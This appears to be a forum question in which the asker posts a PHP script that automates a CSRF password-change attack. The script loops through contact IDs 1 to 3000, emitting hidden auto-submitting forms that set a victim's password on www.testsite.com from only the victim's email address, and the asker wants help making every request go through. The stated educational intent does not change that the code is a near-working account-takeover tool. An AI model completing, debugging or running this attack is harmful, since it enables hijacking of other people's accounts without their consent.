In order to explain what I am trying to accomplish, here are some facts:
- www.testsite.com is not CSRF protected and it is possible for an attacker to change the password of a victim if he knows the e-mail of the victim and his unique contactid.
- Every new users gains a new ID by simply auto incrementing with 1. There are only 3000 contactIDs right now; so that means 1,2,3,4,5,6 --> 3000.
- If an attackers knows the e-mail of a victim, he can simply keep guessing contactIDs (maximal of 3000) and then he can change it. I want to do this automatically.
- I am trying to create a PHP script to learn more about code and to show how simple this is. I am not a malicious hacker or anything close.
So I figured that I could just use a loop that auto increments contactIDs and then posts the data to the www.testsite.com. The problem is, it does not send all the POST requests (with contactID=1 and another one with contactID=2 etc)... Here is my code:
<?php
echo "I set the password to 'stackoverflow'. <br/>";
$mailadres = 1; //startvalue to remove that undefined index php error.
if (isset($_GET['mailadres'])){ //i hate undefined errors
$mailadres = $_GET['mailadres'];
}
if ($mailadres == 1) { //Tell users that you have to submit e-mail via _GET
echo "usage: ./csrf.php?mailadres=victim@gmail.com <br/>";
}
$contactid = 1; //We begin with one....
while ($contactid <= 3000) { //There are not more contactID's than 3000 at this moment.
echo "<form name='csrf' action='http://www.testsite.com/submit.php' method='POST'>
<input type='hidden' name='contactid' value='{$contactid}'>
<input type='hidden' name='something' value='something'>
<input type='hidden' name='mailadres'' value='{$mailadres}'>
<input type='hidden' name='changepassword' value='stackoverflow'>
</form>
<script>document.csrf.submit();</script>";
$contactid ++; //increment in order to post every contactID.
}
?>
My question is: How do I make PHP submit all these forms (contactid=1 & contactid=2)